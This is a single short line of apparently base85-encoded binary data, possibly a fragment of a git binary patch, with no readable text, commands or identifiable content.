zM^>GNJ4t){E3Cc`4xa#S)V)tax}Fo_amIYc7-fui-V46ZJjS`rz)jAW#eCNGecoc= zP42U%